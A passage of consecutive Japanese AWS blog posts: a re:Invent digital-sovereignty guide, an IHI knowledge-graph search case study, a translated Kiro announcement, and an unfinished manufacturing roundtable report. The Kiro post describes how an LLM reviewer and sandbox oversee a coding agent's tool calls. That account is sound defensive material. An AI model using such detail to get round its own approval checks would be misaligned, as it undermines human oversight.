の開発ライフサイクルをたどりながら、データ主権、レイテンシー、データグラビティ、トークンエコノミクスが相互にどのように作用し、各フェーズでの配置の判断に影響するかを検討します。実際のユースケースに基づいて各オプションについて検討することで、すぐに活用できる配置フレームワークを持ち帰ることができます。 パートナーとのセッションを含むデジタル主権関連セッションの全リストは、 re:Invent カタログ でご覧いただけます。 Expo でのアクティビティ Venetian で開催される re:Invent の Expo では、AWS のエキスパートと交流しながら、インタラクティブなデモを通じて学ぶことができます。AWS Village にある次のキオスクにぜひお立ち寄りください。 デジタル主権 : Digital Sovereignty at AWS と、AWS がクラウドと AI 全体で提供する選択肢とコントロールについて詳しく学べます。AWS Digital Sovereignty Lens を使用して、AWS 上で主権要件に対応したワークロードを設計、構築、運用するための詳細なガイダンスを得られるほか、主権のニーズを満たしながら AI でイノベーションを推進できるよう AWS がどのように支援しているかを確認できます。また、AWS European Sovereign Cloud について AWS のエキスパートと深く掘り下げることもできます。 ハイブリッドクラウド & エッジコンピューティング : AWS リージョンで使い慣れた AWS のサービス、API、ツールを、AWS Local Zones、AWS 専有ローカルゾーン、AWS Outposts、AWS AI Factories を使用してオンプレミスやエッジで実行する方法を紹介します。ローカルにとどめる必要があるワークロードについてご相談いただければ、AWS のエキスパートがそのアーキテクチャを一緒に検討します。 グローバルインフラストラクチャ & サステナビリティ : AWS リージョン、アベイラビリティーゾーン、AWS Local Zones、AWS Outposts、AWS AI Factories をはじめとする、世界で最も広範なクラウドインフラストラクチャの規模とリーチをご覧いただけます。最新のインフラストラクチャのイノベーションに加えて、環境への影響を最小限に抑えながらワークロードをグローバルにスケールするうえで AWS Sustainability がどのように役立つかを確認できます。 データセンター体験 : カスタムチップからサーバーラック全体まで、AWS データセンター内部のテクノロジーを間近で確認できるほか、AWS AI Factory の 3D モデルもご覧いただけます。 re:Invent 2026 に向けた準備 デジタル主権関連セッションに向けた準備方法は次のとおりです。 AWS re:Invent 2026 に参加登録します。まだチケットをお持ちでない場合は、割引コード REINVENT26 を使用すると、フルカンファレンスパスが 150 USD 割引になります。このコードの有効期限は 2026 年 11 月 23 日で、他の特典や割引との併用はできません。 予約可能なセッションについては、 re:Invent ポータル で座席を予約します。 AWS Events モバイルアプリをダウンロード して、スケジュールを作成します。 ソーシャルメディアで #reInvent を付けて投稿し、会話に参加します。 注: セッションのスケジュールと空き状況は変更される場合があります。最新情報については、 AWS re:Invent セッションカタログ を確認してください。 交流を続けましょう: ソーシャルメディアで #reInvent を付けて投稿し、他の参加者とつながりましょう! ラスベガスでお会いしましょう! Baqir Naqvi Baqir は AWS Product Marketing の Product Marketing Manager, Technical として、デジタル主権と AWS European Sovereign Cloud を担当しています。欧州をはじめ世界中のお客様に向けて、AWS のソリューションがデジタル主権要件を満たすうえでどのように役立つかを伝え、お客様が自信を持って構築とイノベーションを進められるよう支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

このブログでは、IHI 様と AWS プロフェッショナルサービスチームが、業務部門の悩みを AI で解決するため、初期構築とその後の運用体制をともに検討した取り組みをご紹介します。AI に任せられることがどこまでだったのか（I）、任せられない分を知識の整備でどう補ったのか（II）、整えたものを誰が持ち続け、発展させるのか（III）という三つの問いを通じて、お客様が組織として AI とどう関わるかを決めていく過程をご紹介します。 顕在化しつつある属人化リスク 私たちがよくいただくご相談は、これまで社内の詳しい方に聞いていた質問を AI に聞けるようにしたい、というものです。具体的にはこのような例です。設備設計の担当者が、過去に同じ部品を使った案件を参考にしようとして、資料を探しています。その部品は図面では「HX-2」という社内の符号で書かれているので、「二次加熱器」で検索しても、肝心の資料が出てきません。社内に文書は揃っているのに、担当者は自分では見つけられないので、その分野に詳しい方に設計作業そのものを相談することになります。 AI にどこまで肩代わりさせるべきか ここだけ見ると、詳しい方の代わりに AI が設計の相談に乗らなければならないように見えます。ただ、この例なら、担当者に該当する資料を網羅的に渡すだけでも解決できるはずです。解決の糸口はもっと手前にあるようです。 では、AI は担当者の代わりに、資料をもれなく見つけることができるでしょうか。最初の段階で、AI はつまづきます。「HX-2」が「二次加熱器」を指すことは社内でしか使われていない符号なので、AI が学習した公開情報のどこにも書かれていません。モデルがどれだけ大きくなっても、公開されていない情報からは学べないので、固有用語に関しては基盤モデルだけでは検索システムに適切な検索キーワードを入れることができません。 企業内部の非公開情報をつかって独自に継続的事前学習を行えば、AI はもっといろいろなことに回答できるかもしれません。AI が設計の相談に乗れるようにもなりそうです。しかし、いっきにそこまで踏み込めるお客様は多くはありません。最初の糸口として私たちが引いた線は、 AI の内部に業務知識を学習させるのではなく、社内固有の語彙を引けるようにして、適切に検索できるようにすることでした（I）。 AI が資料を探し当てるまでの道筋をたどる 私たちは、担当者が問いを入れてから AI が正しく検索して結果を返すまでの流れを設計しました。そこには越えなければならない関門が四つあることがわかりました。 最初の関門は、知りたいことを担当者が言葉にできていることです。何を知りたいのかが曖昧なままでは、どんな仕組みでも答えは決まりません。ただ、システムが検索可能なジャンルをユーザーに伝えることができれば、問いは立てやすくなります。そこはシステムの側から示す設計としました。 二つ目は、担当者の質問文の中から AI が検索に必要なキーワードを漏れなく拾えることです。「2023年の二次加熱器の点検記録」と入力されたら、「2023年」「二次加熱器」「点検記録」をそれぞれ検索キーワードとして取り出す必要があります。何が検索キーワードなのかを判断するためには、AI はシステムが検索可能なジャンルを知っている必要があります。もしもジャンルの外について訊かれたら、探す前に検索できない旨と検索可能な質問例を返答する設計としました。 三つ目は、AI が拾った言葉を、データベースが採用している正式な名称もしくは記号に置き換えられることです。例えば、同じ部品が、図面では「HX-2」、見積書では「二次加熱器」と書かれています。字面が重ならないので、二つが同じ部品だとデータベースに登録されていなければ、資料にたどりつけません。 四つ目は、AI がその名称や記号を持つデータへ到達するための検索経路や、データ自身の属性を参照できることです。部品と設備がどんな関係で結ばれ、設備と工事がどうつながっているか。工事に実施日という項目があり、その型が日付であること。数を数えられる項目はどれか。こうした構造を参照できなければ、「2023年」や「3件以上」という条件を検索文に組み立てられません。 図：AI が資料を探し当てるまでの四つの関門 上記のように探し当てるまでのステップを四つに分けておくと、AI はどこで壁に当たったのかを返せるようになります。扱っていないジャンルだと分かった時点で、「それは検索できません」と返せます。正式な名称や記号に置き換えられなければ、「その呼び方は登録されていません」と返します。置き換えたうえで探して出てこなければ、データベース上に記録が本当に無いということです。そもそもジャンルの外なのか、呼び方を知らないのか、知っていて記録が無いのかを、分けて返せます。返ってきた答えで、どこを直せばよいかも決まります。対応可能なジャンルを増やすのか、呼び方を足すのか、記録そのものを足すのかが、そこで分かれます。 関門を越える仕組みを、どう組むか 二つ目から先の関門は、既存の検索システムに検索語を一語渡すだけの連携では越えられません。対応可能なジャンルを返答し、呼び方の対応を引き当て、データの構造を参照し、どこで壁にあたったのかを返す仕組みを、自分たちで作り上げる必要があります。 そのためには、探す先のデータベースが、自分に何がどんな構造で入っているかを答えられなければなりません。呼び方や部品・設備・工事の関係を追加しながら構造を変えられ、構造情報そのものも問い合わせ対象として登録できる必要があります。この要件に適するデータベースとして、私たちはグラフデータベースを採用しました。グラフデータベースは様々な情報とその関係性を知識グラフとして保持できるからです。さらに、グラフデータベースをマネージドサービスとして運用できる点を重視し、Amazon Neptune を採用することにしました。 Amazon Bedrock 上の大規模言語モデルは、ユーザーからの質問を受けて、関門ごとに必要な検索文を組み立てることができます。まず知識グラフにどのジャンルが入っているかを問い合わせて、答えられる範囲を把握します。次に質問から検索キーワードを拾ってジャンルを特定し、その範囲の中かどうかを判断します。範囲の中なら、それぞれが正式な名称や記号のどれに当たるかを問い合わせます。そのうえで、たどる経路を決め、必要なら絞り込み条件を付けて、検索文にして発行します。 この設計では、Amazon Bedrock から Amazon Neptune への問い合わせが何度も発生します。手順そのものは固定的なので、問い合わせ先の知識グラフが用途別に分かれていた方が、構築も保守もしやすくなります。そこで私たちは、知識グラフを三つに分けました。自分自身の構造情報、業務知識の語彙情報、個別の文書から抽出した情報です。 私たちは、知識グラフのこの作り方を SVD アーキテクチャと呼んでいます（II）。 構造（Schema）・語彙（Vocabulary）・業務知識（Domain）の頭文字です。三つをまとめた組を、部門ごとに持ちます。Amazon Neptune のクラスタは部門ごとに分かれる設計であるため、ある部門が知識グラフを変更しても、他の部門には何も起きません。 では知識グラフの中身はどうやって詰めるのか 業務の具体的な内容や、検索したいことは、会社や部門ごとに違います。知識グラフが検索できることを決めたり、登録すべきデータを特定できるのは、その業務をしている方だけです。ただし、その負担は軽くできます。私たちは、対話しながら設計を進める道具として Kiro を使うことにしました。 はじめに決めるのは、検索したいことと、そのデータ源です。探せるようにする検索対象ジャンルを、私たちはアスペクトと呼んでいます。どのアスペクトを扱うかは業務部門の方に決めていただき、それに紐づく呼び方と、対象になる文書がどのデータ源にあるのかを、一緒に洗い出します。ここで Kiro は相談相手になります。 次は語彙グラフの構築です。データ源を前処理して、それぞれのアスペクトを構成する言葉と、アスペクトそのものの情報を入れます（二つ目の関門）。続いて、同じものを指す異なった呼び方（エイリアス）を入れます（三つ目の関門）。前処理のスクリプトは Kiro が書きます。 業務知識グラフの構築では、それぞれの業務文書に対して前処理を行い、文書構造を反映したグラフを登録します。このとき、語彙グラフに登録済みの語彙を識別して登録する必要もあります。このための加工と登録のスクリプトも Kiro が書きます。 最後は構造グラフです。できあがった語彙グラフと業務知識グラフのそれぞれの構造と、その関係を入れます（四つ目の関門）。ここも Kiro が登録を支援できます。 この問題において、業務部門は単なるユーザーの立場ではいられない ビジネスは常に変化しながら動いているため、知識グラフの中身もそれに合わせて拡大する必要があります。立ち上げ期には私たちのような外部のメンバーに頼ることは可能ですが、いつまでもその状態を続けることは現実的ではありません。 知識グラフの拡大には事情を知る方が関わらなければ成立しないので、業務部門が主体になるほかありません（III）。 IHI 様との取り組みでは、次のように役割を分けました。 検索システムのオーナーとなるプロダクトマネージャーは、業務部門の中から立てていただきました。何を検索できるようにするか、同じものに対してどのような呼び方があるのか、知識グラフの範囲をどのように発展させていくのかを決めていただくリーダー役です。ただし、初期段階では目の前の業務の範囲を検索できるようにするだけで十分です。SVD アーキテクチャでは知識グラフを逐次的に発展させることが可能な設計となっているからです。 DX 推進部門には、環境とアプリケーションの維持、そして SVD アーキテクチャの社内理解を引き受けていただきました。何を検索できるようにするか、どの呼び方が同じものかは、各業務部門が決めます。一方、部門をまたいで共通にする設計原則や運用方法は、一つの業務部門だけでは決められません。 DX 推進部門が各部門の判断をつなぎ、組織として AI にどう関わるかを組み立て、他部門への横展開を主導します（III）。 AWS プロフェッショナルサービスチームは、立ち上げ期における知識グラフの構築、呼び方の対応の初期整備、検索アプリケーションの実装を担当しました。 プロダクトマネージャーを務める真山様に、何に悩み、どう進めてきたかを伺いました。 「AI を文章作成の支援ではなく業務プロセスに取り込むのは初めてで、どう進めればよいかという戸惑いや、AI がどこまで課題を解決できるのかを十分にイメージできない不安がありました。重視したのは、課題を正確に伝えることと、メンバーが長く使える仕組みにすることです。ただ、メンバーの繁忙期と重なり、検討の時間を確保するのに苦労しました。そこでトライアル版の段階から使う人に展開し、フィードバックを受けて業務に合う形に近づけようとしています。進むスピードが想定より速く、理解が追いつかない場面もあったのは、今後に活かす点です。すべての技術を自分で理解するのは現実的ではないので、専門家に頼るところは頼りつつ、課題と業務の背景を共有して進めることが重要だと感じています。」 （株式会社IHI 資源・エネルギー・環境事業領域 カーボンソリューションSBU ライフサイクルマネジメント部 設計グループ（主機・サービス設計担当） 主幹 真山 浩晃 様） 体制を決めて、何が変わったかを確かめる 体制を決めて、最初に変わったのは要望でした。 業務部門からプロダクトマネージャーが立つと、誰かが代理で聞き取って翻訳するのではなく、決める人が直接語ることになります。何を検索したいのかが、そこで具体的に出てきます。DX 推進部門が、これなら役に立つだろうと推測して作る必要もなくなりました。発注する側と受ける側という形ではなく、ワンチームで進められる形が実現します。 私たちは、初期構築の相談役として Kiro を使えるように、これまでの知見をプレイブックにまとめました。プレイブックがあるので、判断に要ることだけを伺えばよく、業務部門に投げる質問の数が減ります。前処理などのコードを書く手間も軽くなります。文書からの抽出と投入は、Amazon SageMaker で実行しました。 業務部門には、初期構築の間はおひとりあたり、週に2〜4時間を4〜8週いただきました。 初期構築のあと、業務部門からいただく時間は減る見込みです。運用では、新しい呼び方を検索アプリケーションから記録し、新しい文書を初期登録で確立した経路から登録する計画です。業務部門が新しい呼び方の承認や新しい文書の登録の確認に要する時間は週1時間程度を見込んでいます。検索可能なジャンルを増やしたり、検索可能な文書の形式を増やすなどの大きな変更が必要になったときは、業務部門の依頼を受けて DX 推進部門がプレイブックに沿って対応します。知識グラフの中身は業務部門、知識グラフの大きな変更は DX 推進部門という分担が、保守にもそのまま出ます。 初期構築では過去の資料を数千件規模で登録し、探せることを確かめました。使っていただいた業務部門の方から、こうした言葉をいただきました。 「自分だったら絶対に見つけられなかった部品を見つけられた」 資料を見つけることだけが、この仕組みの価値ではありません。検索結果から、扱っていないジャンル、登録されていない呼び方、記録そのものの不足のうち、どこを直すべきかが分かります。業務部門が不足している呼び方や記録を追加し、検索対象や構造を変えるときは DX 推進部門が支援します。変更を次の検索に反映することで、使いながら知識グラフを改善できます。登録した呼び方の対応は個人の記憶に閉じず、部門で管理し、AI が参照できる記録として残ります。 DX 推進部門に、組織としてどう関わるのかを伺う 同様のニーズがある社内部門は多く、必要な知識グラフは部門ごとに異なります。横展開の担い手になるのは、DX 推進部門です。 デジタルトランスフォーメーション推進部の鈴木様に、この取り組みをどう捉えているかを伺いました。 「今回の取り組みを単なる生成 AI の導入ではなく、現場とともに事業・業務の価値創出を目指すモデルケースと捉えています。これまでは個別の業務課題に対して、ボトムアップで生成 AI を試す進め方が中心でした。今回は、初期段階から幹部を巻き込み、事業と業務の視点からテーマを選んでいます。あわせて、生成 AI の回答を100％正しいものとして扱わず、人による確認を前提に、AI が担う部分と人が判断する部分を分けました。 横展開の具体策は今後の課題ですが、業務知識やノウハウを生成 AI が活用できる形で蓄積・構造化する重要性は見えてきました。知識グラフを含むナレッジ基盤の整備が、鍵の一つになると考えています。得られた知見を活かし、基盤整備とセキュリティ・ガバナンスの確保を進め、安心して生成 AI を活用できる環境を整えることで、最終的には AI を前提とした業務そのものの再設計につなげていきたいと考えています。」 （株式会社IHI 資源・エネルギー・環境事業領域 デジタルトランスフォーメーション推進部 チーム長 鈴木 千佳史 様） 横断的に AI 活用を進めることは、DX 推進部門のミッションです。ただ、業務知識は業務部門の中にあるので、何が役に立つのかは外から見えません。業務上の中身は各部門が決めます。一方、知識グラフの設計原則、登録手順、運用基盤は部門をまたいで共通です。DX 推進部門がこれらを維持することが、各部門が自部門の業務知識を持ったまま、同じ進め方を他部門へ広げる足場になります。 SVD アーキテクチャでは、部門ごとにクラスタを分けることができるので、全社共通の命名ルールが揃うのを待つ必要はありません。部門の中で登録が進めば、その部門では AI が言葉を扱えます。部門をまたいで呼び方のルールを揃える作業は、そのあとに回せます。同じ作り方なので、ある部門で採用している呼び方のルールを別の部門で再利用することもできます。 網羅的な手順書は作れるのか 私たちはこの取り組みを、重工業とゲームと IT の3業界で実施してきました。業界が変わると、アスペクトの考え方や業務知識の形式が全く変わります。当初は初期構築のパターンを網羅した厳密な手順書を作るつもりでしたが、扱えないものに繰り返し当たるうちに、プレイブック方式へと方針を変えることにしました。 プレイブックは、外してはいけない設計原則と手順だけを定めて、細かいところは Kiro と相談しながら決める形です。この形にしたのは、お客様が自分で他部門の初期構築へ進めるようにするためです。 組織として、AI とどう関わるのか この取り組みで整理したのは、AI にどこまで任せるか（I）、任せない部分をどう整えるか（II）、整えたものを誰が持ち続け、発展させるか（III）の三つです。今回、AI には業務知識そのものを持たせず、社内固有の語彙を引いて適切に検索する役割を任せました。AI に任せなかった社内固有の語彙、文書から抽出した業務知識、データ構造は、知識グラフとして AI の外に置いています。 図：AI に任せる範囲、AI の外に整えるもの、持ち続ける主体 誰が何を担当すべきなのかは、担当するのに必要な知識を誰がもっているかで決まります。何を検索できるようにするか、どの呼び方が同じものかを判断できるのは業務部門です。一方、知識グラフの設計や大きな変更の手順、基盤の保守は部門をまたいで共通なので、DX 推進部門などの横断部門が持つのが自然です。業務部門が日々変わる呼び方と文書を追加し、検索対象や構造を変えるときは DX 推進部門が支援する分担です。 私たちが重工業、ゲーム、IT の3業界で取り組んできた範囲では、上の整理は共通でした。業務部門が中身を持ち、横断する部門が作り方を持つ分担は、業務が変わっても応用できると見ています。 この分担なら、全社で用語を揃えるのを待たず、一つの部門から始められます。部門内で用語や知識の登録が進むと、検索できる範囲が広がり、追加した呼び方や記録が次の検索に反映されます。部門ごとに同じ作り方で整えていけば、部門をまたいで束ねる作業は、そのあとに回せます。 業務知識を AI Ready Data にする方法には、検索要件から始める方法のほか、オントロジーの作成から始める方法もあります（注 1）。どの方法でも、AI に任せる範囲、整えるもの、持ち続ける主体を決める必要があります。 必要な業務知識は動き続けます。そこに AI を連れていけるのは、その仕事をしている人だけです。ただ、AI との関わり方のすべてを、その方が担う必要はありません。 注 1：業務知識を AI Ready Data にする入口は、ほかにもあります。オントロジーの作成から入る道として、 Context Ontology Accelerator  がオープンソースで公開されています。OWL や R2RML といった W3C の標準に沿って作れます。 著者/開発者紹介 池田　拓史 (Hirofumi Ikeda) AWS プロフェッショナルサービスのシニアデータサイエンティスト。素粒子実験物理学で博士号を取得後、データサイエンス・コンサルティングに従事。現在は、機械学習や生成 AI を活用したお客様の業務変革と、データサイエンスの内製化を支援しています。近年は、生成 AI を業務で活用するための AI Ready Data の整備や、業務部門が自ら改善を続けられる仕組みづくりに取り組んでいます。 中島　信也 (Shinya Nakajima) AWS プロフェッショナルサービスのデータサイエンティスト、デリバリコンサルタント（AI/ML）。製造業・建設業を中心に、様々な業種のお客様のDX化を支援しています。最近は生成AIの業務活用を支援させていただくとともに、安心安全なAWSアーキテクチャ設計の在り方を提案しています。

本記事は 2026 年 11 月 10 日に Kiro ブログで公開された「 Introducing ‘Approve for me’ in Kiro 」を翻訳したものです。 2026 年 11 月 10 日、Kiro IDE、Kiro CLI、Kiro Web で「Approve for me」の提供を始めました。これからは、すべての操作を 1 つずつ承認するか、独自の権限のルールを設定するか、承認をオフにするかの中から選ぶ必要はありません。Approve for me を有効にすると、ルールで決まっていない操作について、Kiro が LLM によるレビューを行います。このレビューには現在 Anthropic のモデルを使っています。レビューの結果に基づいて、Kiro は定型的な操作を自動で承認し、安全でないと判断した操作をブロックし、判断がつかないときはあなたに確認します。 Approve for me は、ユーザーの手間を減らします。たとえば以前は、失敗しているテストを直すよう Kiro に頼むと、テストスイートを実行する前、ソースファイルを編集する前、そしてテストを再実行する前に、そのつど承認を求めて止まっていました。承認の確認はどれも単独で見れば妥当なものでしたが、長いタスクではその手間が積み重なり、承認のたびに作業の流れが途切れていました。そうした確認が重なった結果、多くのユーザーは trust-all-tools をオンにしました。trust-all-tools は、承認を求めずに Kiro にツールを実行させる設定です。これで作業は手間なく進むようになりましたが、安全でない可能性のある操作も通ってしまうため、本番のワークロードではリスクがありました。 皆さんの声を受けて GitHub の issue の #10364 や #9732 などで、何人もの方が同じ手間について書いてくださいました。 「長めのエージェントのタスク（複数のファイルにまたがるリファクタリング、依存関係のセットアップ、手探りのデバッグなど）を実行していると、読み取り、書き込み、シェルのあらゆる操作をいちいち承認しなければならず、勢いがそがれます。」 「Kiro は優れたエージェント型の開発環境ですが、今はファイルの変更、ターミナルのコマンド、プロジェクト全体にわたる変更で、頻繁にユーザーの承認が必要です。[…] リクエストを 1 件ずつ承認するのには本当に疲れました。」 データから分かったこと 社内のデータを分析したところ、1 週間のサンプル期間に、Kiro CLI の対話型のセッションだけで、ツールの呼び出しの 15.8% の前に Kiro が承認を求めており、ユーザーはそのうちの 97.1% を承認していました。同じ期間に、セッションの 13.4% は trust-all-tools をオンにした状態で始まっていました。 承認の確認には価値があると私たちは考えています。予期していなかった操作をユーザーが止められるからです。ただし、価値があるのは、ユーザーが本当に判断する必要があるときだけです。以前は、カスタムエージェントでツールを事前に承認しておくか、trust-all-tools を有効にするかしていない限り、Kiro は多くの操作の前に承認を求め、承認の確認でたびたびタスクを中断していました。絶え間ない手間と承認疲れ（permission fatigue）によって、ユーザーが安全でない操作を見落とすリスクが生まれていました。 承認の仕組みをどう変えるか 権限のルールは、ある操作を許可する（allow）か、先にあなたに確認する（ask）か、拒否する（deny）かを Kiro に伝えます。Approve for me は 4 つ目の選択肢として「evaluate」を加えます。evaluate では、あなたに確認する代わりに、LLM によるレビューがその操作を確かめます。Approve for me をオンにすると、allow、ask、deny のどのルールにも当てはまらない操作に、Kiro は evaluate を使います。これらの権限のルールを設定している場合は、Kiro はまずそのルールを適用します。たとえば特定の操作を明示的に許可または拒否している場合や、「常に確認する（always ask）」としている場合は、Kiro はその操作を LLM によるレビューに回しません。 LLM によるレビューが操作を安全だと判断すると、Kiro はあなたに確認せずに実行します。安全でないと判断すると、Kiro はその操作をブロックします。判断できないときは、Kiro はあなたに確認します。操作のブロックが 3 ステップ続くと、Kiro はあなたに確認する形に戻り、ブロックした理由を確認のメッセージに示します。 イメージしやすいように、Kiro CLI での見え方を示します。 図 1: Kiro CLI での 3 つの結果。1) 自動で承認されて実行される（Approved for you）、2) 理由を示してブロックされる（Blocked, with the reason）、3) ブロックが続いたあとは理由を添えてあなたに確認する（Back to you after repeated blocks） 私たちは社内で 2 週間前から Approve for me を使っています。1 週間のサンプル期間では、操作の約 70% は LLM によるレビューを経ずに権限のルールで処理され、約 30% がレビューに回りました。LLM がレビューした操作のうち、約 97% はユーザーに確認せずに処理され、約 2% がユーザーに回され、ブロックされたのは 1% 未満でした。レビューにかかった時間の中央値は 1 秒未満でした。 Amazon の社内ユーザーからも好意的な声が届いています。 「これはすごい。Approve for me の自動承認で、大きな機能の穴が埋まりました！パイプラインをもとに新しいワークスペースをチェックアウトする作業を、試しに Kiro にやらせてみました。以前は ls のような基本的な操作で 15 回も承認を求められましたが、今回は 0 回でした。」 Approve for me で承認の確認がすべてなくなるわけではありませんが、それは想定どおりです。安全かどうか判断がつかない操作については、私たちは安全側に倒し、先に進む前に Kiro からあなたに確認させます。Kiro にすべての操作を確認なしで実行させたい場合は、これまでどおり trust-all-tools をオンにできます。 Approve for me はほかの安全の仕組みと組み合わせて働きます Approve for me が決めるのは、どの操作にあなたの承認が必要かです。シェルのコマンドが実行されたあとに何にアクセスできるかは制限しません。もう 1 段の保護として、Kiro IDE と Kiro CLI で有効にできるローカルのサンドボックスを用意しています。ローカルのサンドボックスは、Kiro が実行するシェルのコマンドの周りに OS のレベルの境界を設け、外向きのネットワーク接続は、あなたが許可しない限りブロックします。Kiro Web のセッションは、もともとマネージドなクラウドのサンドボックスの中で動いています。詳しくは ローカルのサンドボックス のドキュメントをご覧ください。 安全のための層は、それぞれが自分の境界を守ります。1 つの層だけで安全でない操作をすべて捕まえることは想定していないため、Kiro は多層防御（defense in depth）の考え方をとっています。 次のタスクで試してみてください Approve for me は、Kiro IDE、Kiro CLI、Kiro Web の有料プランのユーザーが、us-east-1（バージニア北部）と eu-central-1（フランクフルト）で使えます。Kiro は、LLM によるレビューに回した操作の分をご利用のプランに課金します。この機能や、もとになっている Anthropic のモデルをまだ使えない場合は、これまでどおりの承認の方法が引き続き使われます。 承認の確認を避けるために trust-all-tools をオンにしていた方も、Approve for me を使えば、大事な操作の判断を自分の手に取り戻せます。この機能は既定ではオフです。次の手順でオンにしてください。 Kiro IDE Kiro IDE では、 What’s new のスイッチで新しいチャットすべてに対して Approve for me をオンにするか、チャットの入力欄のメニューから今のチャットに対してだけ選びます。 図 2: Kiro IDE で Approve for me をオンにする 2 つの場所。1 枚目は What’s new のスイッチ（すべての新しいチャットに適用）、2 枚目はチャットの入力欄のメニュー（今のチャットにだけ適用）です。原文の 1 枚の画像を、この記事では 2 枚に分けて載せています。 Kiro CLI Kiro CLI では、 /permissions を実行し、 Policies を選んでから Approve for me を選びます。 図 3: Kiro CLI の /permissions のメニュー この設定は、今のワークスペース、つまり Kiro を起動したフォルダに対してだけオンになります。そのワークスペースの外にあるファイルを読んだり編集したりする前には、引き続き Kiro が確認します。 Kiro Web Kiro Web では、左のパネルから Agent Config を開き、 Tool approvals を選んで、 Approve for me をオンにします。この設定は新しいセッションに適用されるので、オンにしたら新しいセッションを始めてください。自律型のセッション（Autonomous sessions）には影響しません。 図 4: Kiro Web の Agent Config の Tool approvals Kiro を初めて使う方は、 ダウンロードのページ をご覧ください。すでに Kiro を使っている方は、Kiro IDE 1.4.154 以降か Kiro CLI 2.36 以降に更新してください。Kiro Web は更新の必要はありません。 Approve for me をオンにして、次のタスクを Kiro に任せ、中断の少ない開発を楽しんでください！ 原文の著者 Pooja Giri（Engineering）、Abhay Raina（Engineering） 翻訳者について 稲田 大陸 – いなりく AWS Japan で働く Kiro をこよなく愛すソリューションアーキテクト。普段は製造業のお客様を支援しています。その活動の傍ら、最近は AI 駆動開発ライフサイクル (AI-DLC) の日本のお客様への布教活動もしつつ、 Kiro のブログ などを執筆しています。

製造業のお客様を支援しているソリューションアーキテクトの西田です。 2026 年 10 月 26 日に AWS 麻布台ヒルズオフィスにて「製造業 生成 AI 基盤・活用推進 ラウンドテーブル」を開催しました。本記事ではイベントの概要と当日の様子をお伝えします。 ▲ 会場の様子 開催の背景 製造業のお客様の生成 AI の使い方は、一部の部門で試して効果を確かめる段階から、AI エージェントを基幹業務に組み込み、全社で使える基盤として整える段階に進んできました。この段階では、利用者ごとの権限をどう扱うか、社内のデータをどう整えるか、増えていく AI エージェントの品質とコストをどう管理するかという課題に、どの企業も向き合うことになります。 こうした課題は、サービスの機能だけでは解決せず、各社が自社の組織やデータの状況に合わせて判断を重ねる必要があります。同じ段階にいる企業同士が、判断の根拠や試した結果を率直に交換できる場があれば、各社の検討が早く進むと考え、2026 年 3 月に大阪で開催した 生成 AI ラウンドテーブル に続いて、AI エージェントを全社で使うための基盤づくりをテーマに、製造業のお客様 7 社にお集まりいただきました。 イベント概要 開催日： 2026 年 10 月 26 日（月）13:00 〜 18:10 + 懇親会 会場： AWS 麻布台ヒルズオフィス 形式： クローズド・ラウンドテーブル形式（各社発表 + 質疑応答） 参加者数： 20 名 参加企業（発表順）： 三菱重工業株式会社 ブラザー工業株式会社 株式会社ミスミグループ本社 パナソニック インダストリー株式会社、パナソニック エナジー株式会社 キユーピー株式会社、キユーピーデジタルイノベーション株式会社 株式会社村田製作所 株式会社リコー 各社 30 分の持ち時間で、自社の取り組みと課題を共有し、質疑応答で他社の経験を聞く形式です。 各社の発表テーマ 各社の発表タイトルとご登壇者、取り組みの概要をご紹介します。 権限が増えるほど検索できない？ 〜全社 RAG で遭遇した権限フィルタの制約と分割検索の実践〜 ／ AI 駆動開発の拠点展開とプロトタイプ開発の実践 三菱重工業株式会社 デジタルイノベーション本部 システムインテグレーション部 石田 裕亮 氏、岩渕 宏樹 氏 全社の社内情報検索（RAG）で利用者の閲覧権限を反映させる仕組みの工夫と、各拠点の開発者が担当案件を題材に進める AI 駆動開発のワークショップが紹介されました。 ▲ 三菱重工業株式会社 石田 裕亮 氏、岩渕 宏樹 氏 一つの生成 AI 事例を全社の資産に変える 〜エージェンティック RAG 開発から始まる AI プラットフォーム構想〜 ブラザー工業株式会社 システムプロセス開発部 坂野 雄治 氏、脇本 拓歩 氏、渡邉 航平 氏 技術者の知識に頼ってきたサポート業務に AI エージェントを適用した事例と、その効果を全社に広げる AI プラットフォーム構想が紹介されました。 ▲ ブラザー工業株式会社 脇本 拓歩 氏、渡邉 航平 氏、坂野 雄治 氏 デジタル技術を活用したサービスデスク改善 〜問合せ削減への取り組みについて〜 株式会社ミスミグループ本社 DX プラットフォーム・ハブ グローバル統括 データ分析室 吉田 哲史 氏 株式会社ミスミグループ本社 DX プラットフォーム・ハブ 基幹システム統括 Digital Platform 室 清野 博之 氏 社内サービスデスクの問い合わせを段階的に減らしてきた経緯と、調査と一次回答を AI エージェントが担う仕組みを作っている現在の取り組みが紹介されました。 ▲ 株式会社ミスミグループ本社 吉田 哲史 氏、清野 博之 氏 「名もなき業務」を減らす Agentic BPR とエージェンティックワークフロープラットフォーム パナソニック インダストリー株式会社 DX 戦略センター DX アーキテクチャ構築部 データドリブン基盤課 西村 佳 氏 様々な業務で行われる転記・照合などの細々した「名もなき業務」を全社横断で束ね、AI エージェントが実行するワークフローにして自動化する取り組みが紹介されました。 ▲ パナソニック インダストリー株式会社 西村 佳 氏 生成 AI は「使う」から「業務・経営を変える」段階へ 〜エージェントの価値をどう説明するか？〜 キユーピー株式会社 デジタル推進本部 IT 推進部 データ戦略チーム 内田 海登 氏 購買データなどをもとに人物像を設定した仮想の「生活者エージェント」を商品開発担当者の対話相手にする取り組みと、全社の AI エージェントの稼働状況を一元的に把握する仕組みが紹介されました。 ▲ キユーピー株式会社 内田 海登 氏 村田製作所の AI 活用基盤 株式会社村田製作所 データ戦略推進部 AI イノベーション推進課 鈴木 健太 氏 業務の中で生まれる知識を会社の資産として循環させる考え方と、AI エージェントの権限設計や人の承認を組み込んだ基盤の設計が紹介されました。 ▲ 株式会社村田製作所 鈴木 健太 氏 「AI の活用」から「AI サービスの提供」へ 〜AI エージェント量産に向けた基盤開発と社内実践〜 株式会社リコー DX 本部 データマネージメントセンター デジタル基盤開発室 宮本 篤 氏 業務部門ごとの AI エージェント開発に共通する機能を標準提供する AI エージェント基盤の設計と、社内実践で使えることを確かめながら少人数で進めた工夫が紹介されました。 ▲ 株式会社リコー 宮本 篤 氏 AWS セッションの紹介 Agent 活用環境の構築・運用のための AWS サービスのご紹介 〜統制とセキュリティ・自社の知識（データ / コンテキスト）・品質とコスト〜 アマゾン ウェブ サービス ジャパン合同会社 AI スペシャリスト 石坂 唯、AI スペシャリストソリューションアーキテクト 鯨田 連也 前半では石坂が、AI 